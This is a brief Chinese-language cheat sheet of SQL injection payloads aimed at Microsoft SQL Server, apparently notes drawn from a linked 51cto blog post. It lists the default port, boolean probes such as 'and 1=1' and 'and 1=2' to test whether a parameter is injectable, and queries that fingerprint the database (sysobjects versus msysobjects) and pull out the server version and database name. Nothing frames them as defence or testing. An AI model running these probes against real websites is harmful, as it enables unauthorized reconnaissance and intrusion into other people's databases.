mssql端口号:1433
判断是否又注入:
and 1=1
and 1=2
判断是否为mssql
and user>0
判断数据库库系统
and(select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects) >0 access
判断数据库版本
and 1=(select @@version)
判断数据库名
and 1=(select db_name)
总结https://blog.51cto.com/saturn/197354